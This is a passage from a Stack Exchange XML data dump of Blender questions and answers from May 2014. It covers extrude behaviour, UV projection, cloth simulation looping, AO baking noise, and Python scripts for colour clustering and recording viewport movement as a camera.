0.5)&#xA;# (0.5, 0.39996, 0.3)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-05-23T23:32:16.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10654" PostTypeId="1" AcceptedAnswerId="10660" CreationDate="2014-05-24T01:10:52.330" Score="5" ViewCount="2177" Body="&lt;p&gt;I have a field of ellipsoids with various rotations. I'd like to colour them by their rotation. Is it possible to get an object's rotation in a cycles material node?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-05-24T08:39:10.153" Title="Object rotation in node" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostTypeId="1" AcceptedAnswerId="10656" CreationDate="2014-05-24T02:02:38.120" Score="9" ViewCount="1373" Body="&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a cube&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VvpHr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start extruding the top face, but either right-click or press Esc to cancel&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbHef.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the number of objects (verts / edges / faces / tris) increased, even though the action was cancelled. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Undoing the action (that was supposedly cancelled) reverts to previous count&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here about the intended functionality of &lt;kbd&gt;Esc&lt;/kbd&gt; / right click when doing extrude (and other actions)e or is this a feature / bug?&lt;/p&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="599" LastEditDate="2014-05-24T02:20:15.383" LastActivityDate="2015-09-24T12:10:38.290" Title="Cancelling extrude still leaves extra geometry" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostTypeId="2" ParentId="10655" CreationDate="2014-05-24T02:06:44.187" Score="10" Body="&lt;p&gt;Pressing &lt;kbd&gt;E&lt;/kbd&gt; is really calling &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bpy.ops.mesh.html?#bpy.ops.mesh.extrude_region_move&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;extrude_region_move()&lt;/code&gt;&lt;/a&gt;, which is a two part operation. It extrudes the selection &lt;em&gt;and then moves it as if you had pressed&lt;/em&gt; &lt;kbd&gt;G&lt;/kbd&gt;.&lt;br&gt;&#xA;Pressing RMB or &lt;kbd&gt;Esc&lt;/kbd&gt; will cancel the move part of the operation, but not the extrusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is actually useful behavior, as it allows you to easily keep the extruded geometry (or loop cut) in place (maybe you want to scale it or something). If you don't want the extruded geometry, you can of course undo it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This goes for all two part operations, such as &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; &lt;em&gt;loop cut &lt;strong&gt;and slide&lt;/em&gt;&lt;/strong&gt; (&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bpy.ops.mesh.html?#bpy.ops.mesh.loopcut_slide&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;loopcut_slide&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are actually one part equivalents for these, but there aren't shortcuts for them (to my knowledge).&#xA;If you press &lt;kbd&gt;Space&lt;/kbd&gt; in edit mode and search for e.g. &lt;em&gt;Loop cut&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gUBEH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing &lt;em&gt;Loop Cut&lt;/em&gt; will put you in modal operator for cutting loops, just like pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, but it won't slide them like &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; does once the cuts are confirmed (and if they are not confirmed, e.g. by pressing &lt;kbd&gt;Esc&lt;/kbd&gt; there will be no cuts made at all).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-24T02:16:28.663" LastActivityDate="2014-05-24T02:16:28.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostTypeId="1" AcceptedAnswerId="10666" CreationDate="2014-05-24T04:08:13.073" Score="5" ViewCount="6890" Body="&lt;p&gt;I'm having a problem finding out a way to project from top view and the side view so I texture better. It just replaces the current projection with the top view&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V97ur.png&quot; alt=&quot;Top view with side projection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is it possible to project from view twice on the same image?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="12" LastEditDate="2014-05-24T04:24:15.290" LastActivityDate="2014-05-24T14:30:49.513" Title="Project from view multiple times from different angles" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="2" ParentId="10640" CreationDate="2014-05-24T07:23:50.730" Score="6" Body="&lt;p&gt;If you link in an object from an external file you can't move it by default, even if you parent it to a local object. In this case the selected object should be highlighted in blue unless you alter the theme colours. You can make a proxy or make a local copy to move it, or move it in the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A linked object will have a small file icon next to it in the outliner. This icon will also be seen in a few other places like the object properties. All values will also be greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Om09x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other thing that should prevent a child moving with it's parent is a constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0tEjB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar constraints are available for rotation and scale. Clicking the X in the corner will delete them or you can turn off the limit that is bothering you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that can stop an object being moved by itself (but should still move with a parent) is locking the transform channels. Available in both the object properties and the properties sidebar, clicking these &quot;padlocks&quot; will prevent the related transform channel from being altered in the 3DView. You can actually alter the values displayed to move objects while they are locked, just not with g,s,r in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9ILWJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply click the locks to unlock them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values may also have drivers attached to them. When a value is being driven it is highlighted in purple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nXbEt.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click on the value and select Delete Drivers.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-24T07:23:50.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostTypeId="2" ParentId="10654" CreationDate="2014-05-24T08:24:25.050" Score="5" Body="&lt;p&gt;Sort of..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can insert a &quot;Value&quot; node (under Input) into your Cycles shader, then add a driver to it (right-click the parameter and select Add Driver); get the driver to copy the rotation axis of whatever object you want to use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;With the Value node selected, go to the Graph Editor.&lt;/li&gt;&#xA;&lt;li&gt;Switch mode from F-Curves to Drivers.&lt;/li&gt;&#xA;&lt;li&gt;On the left hand side of the editor, find the &quot;Value&quot; inside Material &gt; Shader Nodetree and click on it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point you might need to reveal the panel at the right hand side of the editor - hit N if you can't see it.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the &quot;Drivers&quot; panel, change &quot;Type&quot; to &quot;Averaged value&quot;.&lt;/li&gt;&#xA;&lt;li&gt;In the variable panel, make sure &quot;Transform channel&quot; is selected, then specify your Object from the input by name, change Type to &quot;X Rotation&quot; (or Y rotation, etc) and you should see its current value appear.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can then attach the output of your Value node in Cycles to a Hue/Saturation node, or to the Fac of a Mix node to alter the colour. If you want each rotation axis to be available in the material, add a separate value for each rotation axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do something like map each axis directly to a part of the colour - e.g. X becomes R, Y becomes G, Z becomes B - add an RGB input node instead, right click the colour and add a driver to that. You can then find it under &quot;Drivers&quot; the way you might have found the value, and you can drive the four different components of the colour (R G B and A) individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worth noting: the rotation value will hit the driver as radians, not degrees. It's also possible that the driver will get an input which is less than zero - you can get around this to an extent by setting the Type to Scripted Expression and using an expression like &quot;abs(var) % pi&quot; to keep the colour away from black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's an annoying drawback to this method though: as far as I know, you'll need to set the driver and material up separately for each object - so you'll end up having as many copies of the material as you have colour-changing ellipses. If your Cycles node setup is particularly complicated and you still want to be able to tweak it, you might try Grouping all the nodes in your material except for the Value, but use the Value as an input to your group. If the Object Node had X/Y/Z Location/Rotation/Scale, this wouldn't be necessary.&lt;/p&gt;&#xA;" OwnerUserId="1219" LastEditorUserId="1219" LastEditDate="2014-05-24T08:39:10.153" LastActivityDate="2014-05-24T08:39:10.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="2" ParentId="10643" CreationDate="2014-05-24T09:12:34.693" Score="13" Body="&lt;p&gt;My first choice would be to run the simulation for the entire animation, but the idea of using the MDD exporter could be applied a bit differently than the example you gave.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export the cloth simulation to an mdd file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove the cloth simulation from the object and add a Mesh Cache modifier. Set the File path to the mdd file you saved previously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Vk63.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will play the cloth simulation using the exported data. By using keyframes on the modifier values we can make it repeat the same simulation data. By using two mesh cache modifiers we can have a chance to smoothly transition between repeats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets say we have a cloth simulation of 100 frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have modifier1 with a frame start of 1 and then keyframe the influence to go from 1.0 on frame 95 to 0.0 at frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we have modifier2 with a frame start of 95 and influence keyframed to go from 0.0 on frame 95 to 1.0 on frame 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should give us a smooth transition between the last and first simulation frames.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By keyframing the start frame we can re-use the two modifiers to repeat the simulation over and over again.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-05-24T09:12:34.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostTypeId="1" CreationDate="2014-05-24T09:39:44.243" Score="2" ViewCount="7153" Body="&lt;p&gt;Whenever I try to bake a Ambient Occlusion map (no matter the scale), I get a noisy result (like that of a TV set with bad reception). Is there anyway to fix this??&lt;br&gt;&#xA;This is a AO Bake of an object i'm working on, yet when I baked it at 2048x2048, the AO was very noisy/grainy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click image for full size.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/18xjP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/18xjP.png&quot; alt=&quot;baked image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-07-29T00:42:27.133" LastActivityDate="2017-06-12T18:50:58.580" Title="Baking In Cycles creates noisy result" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="1" AcceptedAnswerId="10669" CreationDate="2014-05-24T10:16:25.343" Score="6" ViewCount="2596" Body="&lt;p&gt;Here's a question just for the sake of curiosity...&#xA;I was watching the new Damon Albarn video, the one that features his 3d head. And for the major part of the video it just looks like someone is recording what is seen on the screen of the computer, &quot;camtasia&quot;-like. or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But near the end, it start using really realistic lighting and shaders, and it ocurred to me that what actually is going on, is that, somehow they captured the movements the user was doing in the original interface, and used them as camera movements and settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if i am being clear, but do you guys think is possible with some scripting?&#xA;Here's the video, near the end, by the way:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=rjbiUj-FD-o&quot; rel=&quot;noreferrer&quot;&gt;https://www.youtube.com/watch?v=rjbiUj-FD-o&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2014-05-24T19:31:38.403" Title="capturing user view movements as a camera?" Tags="&lt;rendering&gt;&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="2" ParentId="3254" CreationDate="2014-05-24T11:59:00.713" Score="0" Body="&lt;p&gt;Not quite what you are asking, but if you want to select UV islands in the mesh you can do this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In the UV Editor choose &lt;code&gt;UVs &amp;gt; Seams From Islands&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;In the 3D view, in edit mode, you will see that the seams from the UVs are now showing on the object. &lt;/li&gt;&#xA;&lt;li&gt;Staying in edit mode, hover anywhere on the model and press &lt;kbd&gt;L&lt;/kbd&gt;, the UV island will now be selected (make sure that you are using face selection). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This helped me to make new objects from the UV islands (just press &lt;kbd&gt;P&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3605" LastEditorUserId="3605" LastEditDate="2014-05-29T10:02:43.673" LastActivityDate="2014-05-29T10:02:43.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10665" PostTypeId="1" AcceptedAnswerId="10679" CreationDate="2014-05-24T13:36:20.290" Score="2" ViewCount="709" Body="&lt;p&gt;I am trying to create interface for this code (look bottom) in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python code helps find dominant colors in image. It would be great if color data from program send to colorpicker elements on panel (Blender interface). But I couldn't find information about colorpicker elements and how send data to it.&#xA;I am using sys.path.append() to import Pillow (PIL for Pithon 3.X), NumPy and SciPy from Python 3.3 dir.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import struct&#xA;from PIL import Image&#xA;import scipy&#xA;import codecs&#xA;import scipy.misc&#xA;import scipy.cluster&#xA;&#xA;NUM_CLUSTERS = 5&#xA;print ('reading image')&#xA;im = Image.open(&quot;C:\\Users\\User\\Desktop\\maxresdefault.jpg&quot;) #path to your pics&#xA;im = im.resize((150, 150))      # resize pics, to reduce time&#xA;ar = scipy.misc.fromimage(im)&#xA;shape = ar.shape&#xA;ar = ar.reshape(scipy.product(shape[:2]), shape[2])&#xA;&#xA;print ('finding clusters')&#xA;codes, dist = scipy.cluster.vq.kmeans(ar, NUM_CLUSTERS)&#xA;print ('cluster centres:\n', (codes))&#xA;&#xA;vecs, dist = scipy.cluster.vq.vq(ar, codes)         # assign codes&#xA;counts, bins = scipy.histogram(vecs, len(codes))    # count occurrences&#xA;&#xA;index_max = scipy.argmax(counts)                    # find most frequent&#xA;peak = codes[index_max]&#xA;colour = codecs.encode(peak, 'hex_codec').decode('ascii')&#xA;print ('most frequent is %s (#%s)' % (peak, colour))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Summing up I want to ask you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to create 5 or more colorpicker elements on panel?&lt;/li&gt;&#xA;&lt;li&gt;How to send data from program to colorpickers? In hex for example...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would be grateful for any help! &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thank for help! &#xA;I have one more question: How create button to execute python code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Analogue colors&#xA;m = bpy.context.scene.color_prop.h + 0.125&#xA;n = m - int (m)&#xA;bpy.context.scene.color_prop1.h = n&#xA;&#xA;m = bpy.context.scene.color_prop1.h + 0.125&#xA;n = m - int (m)&#xA;bpy.context.scene.color_prop2.h = n&#xA;&#xA;m = bpy.context.scene.color_prop2.h + 0.125&#xA;n = m - int (m)&#xA;bpy.context.scene.color_prop3.h = n&#xA;&#xA;m = bpy.context.scene.color_prop3.h + 0.125&#xA;n = m - int (m)&#xA;bpy.context.scene.color_prop4.h = n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3609" LastEditorUserId="3609" LastEditDate="2014-05-25T16:59:52.647" LastActivityDate="2014-05-25T20:50:04.180" Title="How to make interface for add-on with mutipule colorpickers" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10666" PostTypeId="2" ParentId="10657" CreationDate="2014-05-24T14:04:54.390" Score="6" Body="&lt;p&gt;It sounds like this is what you are looking for unless I misunderstand the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you've unwrapped everything once you can then use -&gt; &lt;em&gt;UVMapping&lt;/em&gt; -&gt; &lt;em&gt;Project From View&lt;/em&gt; on selected faces without changing what has already been mapped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RvPG7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-05-24T14:04:54.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostTypeId="2" ParentId="10657" CreationDate="2014-05-24T14:30:49.513" Score="3" Body="&lt;p&gt;You can &lt;em&gt;Project from view&lt;/em&gt; any number of times. Your selection is what gets projected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to side view select just the faces you want projected from the side view. In edit mode press &lt;kbd&gt;U&lt;/kbd&gt; then &lt;em&gt;project from view&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to the top view, select just the top (and bottom) faces, but leave the sides unselected and project from view.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-05-24T14:30:49.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostTypeId="2" ParentId="10663" CreationDate="2014-05-24T15:17:26.200" Score="8" Body="&lt;p&gt;This script should fulfill your needs. Basically it uses a &lt;em&gt;modal operator&lt;/em&gt; (runs parallel to Blender), takes the &lt;strong&gt;current position and view&lt;/strong&gt; and stores those in an array (records at the &lt;strong&gt;currently selected framerate&lt;/strong&gt; of the selected scene). When you click with &lt;kbd&gt;Left-Mouse&lt;/kbd&gt; a &lt;strong&gt;new camera&lt;/strong&gt; is created that has your movement assigned to it. &lt;kbd&gt;Right-Mouse&lt;/kbd&gt; or &lt;kbd&gt;Esc&lt;/kbd&gt; will cancel the command. You can find it by pressing &lt;kbd&gt;Space&lt;/kbd&gt; in the 3D-Viewport and searching for &quot;Record View Movement&quot;. When you leave the viewport the script &lt;strong&gt;pauses&lt;/strong&gt; recording until you reenter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just copy and paste the script into a texteditor and run it once (&lt;kbd&gt;Alt+P&lt;/kbd&gt;) or write a full plugin (in this case give some credits to stackexchange). Anyway, here is the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy, time, bgl, blf&#xA;from mathutils import Vector, Quaternion&#xA;&#xA;def bgl_draw_fx(self, context):&#xA;    &quot;&quot;&quot;A drawing routine that we show while our operator is active&quot;&quot;&quot;&#xA;    font_id = 0  # XXX, need to find out how best to get this.&#xA;    bgl.glColor4f(1, 0.3, 0.3, 1)&#xA;    blf.position(font_id, 15, 30, 0)&#xA;    blf.size(font_id, 12, 72)&#xA;    blf.draw(font_id, 'Recording...')&#xA;    # restore OpenGL to default&#xA;    bgl.glDisable(bgl.GL_BLEND)&#xA;    bgl.glColor4f(0.0, 0.0, 0.0, 1.0)&#xA;&#xA;class RecordOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Translate the view using mouse events&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.record_movement&quot;&#xA;    bl_label = &quot;Record View Movement&quot;&#xA;    def __init__(self):&#xA;        self.fps = 1&#xA;        self.timer = None&#xA;        self.lasttime = 0&#xA;        self.recorded_movement = []&#xA;&#xA;    def registerModal(self, context, event):&#xA;        args = (self, context,)&#xA;        self._handle = bpy.types.SpaceView3D.draw_handler_add(bgl_draw_fx, args, 'WINDOW', 'POST_PIXEL')&#xA;        self.timer = context.window_manager.event_timer_add(1.0/self.fps, context.window)&#xA;        context.window_manager.modal_handler_add(self)&#xA;&#xA;    def unregisterModal(self, context):&#xA;        bpy.types.SpaceView3D.draw_handler_remove(self._handle, 'WINDOW')&#xA;        context.window_manager.event_timer_remove(self.timer)&#xA;&#xA;    def execute(self, context):&#xA;        &quot;&quot;&quot;Gets called by us&quot;&quot;&quot;&#xA;        action = bpy.data.actions.new('RecordingCamera') # create action&#xA;        curveLocX = action.fcurves.new(data_path=&quot;location&quot;, index=0) # create curves&#xA;        curveLocY = action.fcurves.new(data_path=&quot;location&quot;, index=1)&#xA;        curveLocZ = action.fcurves.new(data_path=&quot;location&quot;, index=2)&#xA;        curveRotX = action.fcurves.new(data_path=&quot;rotation_quaternion&quot;, index=0)&#xA;        curveRotY = action.fcurves.new(data_path=&quot;rotation_quaternion&quot;, index=1)&#xA;        curveRotZ = action.fcurves.new(data_path=&quot;rotation_quaternion&quot;, index=2)&#xA;        curveRotW = action.fcurves.new(data_path=&quot;rotation_quaternion&quot;, index=3)&#xA;        frames_c = len(self.recorded_movement) # get frame-range&#xA;        curveLocX.keyframe_points.add(frames_c) # add frames&#xA;        curveLocY.keyframe_points.add(frames_c)&#xA;        curveLocZ.keyframe_points.add(frames_c)&#xA;        curveRotX.keyframe_points.add(frames_c)&#xA;        curveRotY.keyframe_points.add(frames_c)&#xA;        curveRotZ.keyframe_points.add(frames_c)&#xA;        curveRotW.keyframe_points.add(frames_c)&#xA;        for frame, (loc, quat) in enumerate(self.recorded_movement):&#xA;            curveLocX.keyframe_points[frame].co = frame + 1, loc[0] # set keyframes&#xA;            curveLocY.keyframe_points[frame].co = frame + 1, loc[1]&#xA;            curveLocZ.keyframe_points[frame].co = frame + 1, loc[2]&#xA;            curveRotX.keyframe_points[frame].co = frame + 1, quat[0]&#xA;            curveRotY.keyframe_points[frame].co = frame + 1, quat[1]&#xA;            curveRotZ.keyframe_points[frame].co = frame + 1, quat[2]&#xA;            curveRotW.keyframe_points[frame].co = frame + 1, quat[3]&#xA;        # apply created data&#xA;        cam = bpy.data.cameras.new('RecordingPlayback')&#xA;        camObj = bpy.data.objects.new('RecordingPlayback', cam)&#xA;        camObj.rotation_mode = 'QUATERNION'&#xA;        anm = camObj.animation_data_create()&#xA;        anm.action = action&#xA;        context.scene.objects.link(camObj) # link to scene&#xA;        context.scene.update()&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'LEFTMOUSE':&#xA;            # apply movement&#xA;            self.execute(context)&#xA;            self.unregisterModal(context)&#xA;            return {'FINISHED'}&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            self.unregisterModal(context)&#xA;            return {'CANCELLED'}&#xA;        v3d = context.space_data&#xA;        if v3d.type != 'VIEW_3D':&#xA;            return {'RUNNING_MODAL'}&#xA;        ctime = time.clock()&#xA;        if (ctime - self.lasttime) &amp;gt; (1.0/self.fps):&#xA;            rv3d = v3d.region_3d&#xA;            # record movement&#xA;            current_rot = Quaternion(rv3d.view_rotation)&#xA;            if rv3d.view_perspective == 'PERSP':&#xA;                current_pos = rv3d.view_rotation.to_matrix().col[2].to_3d()&#xA;                current_pos *= rv3d.view_distance&#xA;                current_pos += rv3d.view_location&#xA;            elif rv3d.view_perspective == 'CAMERA':&#xA;                current_pos = Vector(context.scene.camera.location)&#xA;            else:&#xA;                print('BUG, unknown perspective:', rv3d.view_perspective)&#xA;            self.recorded_movement.append((current_pos, current_rot))&#xA;            self.lasttime = ctime&#xA;        # don't block input&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.fps = context.scene.render.fps&#xA;        self.registerModal(context, event)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(RecordOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(RecordOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: You can combine this with any technique that manipulates the current view (for example flight-mode &lt;kbd&gt;Shift+F&lt;/kbd&gt; to record the movement and play it back. This is imo one of the best features of this script. Just trigger recording and go into flight mode. Keep in mind that you have to press &lt;kbd&gt;Left Mouse&lt;/kbd&gt; to keep the recorded animation.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-05-24T17:49:36.227" LastActivityDate="2014-05-24T17:49:36.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="2" ParentId="10662" CreationDate="2014-05-24T15:42:19.213" Score="9" Body="&lt;p&gt;That's probably because a low number of samples. Cycles uses samples to render and to bake. Turn up your samples in the Properties window under the Samples heading.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastActivityDate="2014-05-24T15:42:19.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostTypeId="1" AcceptedAnswerId="10693" CreationDate="2014-05-24T16:40:44.253" Score="1" ViewCount="2178" Body="&lt;p&gt;i'm trying to make a normal map out of a high poly tyre. But i always get black spots in the normal map (see red circles). Left is the originial, right the low poly with the normal map.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jqeh3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blender file&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/29417&quot; rel=&quot;nofollow noreferrer&quot;&gt;tyre.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorUserId="2217" LastEditDate="2014-07-29T00:27:16.990" LastActivityDate="2014-07-29T00:27:16.990" Title="Black spots in normal map" Tags="&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="1" AcceptedAnswerId="10675" CreationDate="2014-05-24T17:02:39.933" Score="13" ViewCount="5254" Body="&lt;p&gt;I've got a pretty complicated node tree which isn't behaving exactly as I'd like. I'm pretty sure I've made some mistakes in my math nodes..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested in the output values of the math nodes. The best solution I've currently got is hooking the up to a color ramp, an emission shader, and rendering them on something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: Is it possible to query the output value of math nodes, directly in the node editor? It'd be great to not have to render and deduce the values by their color.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2018-08-19T19:28:09.557" Title="Debugging material math nodes in cycles" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
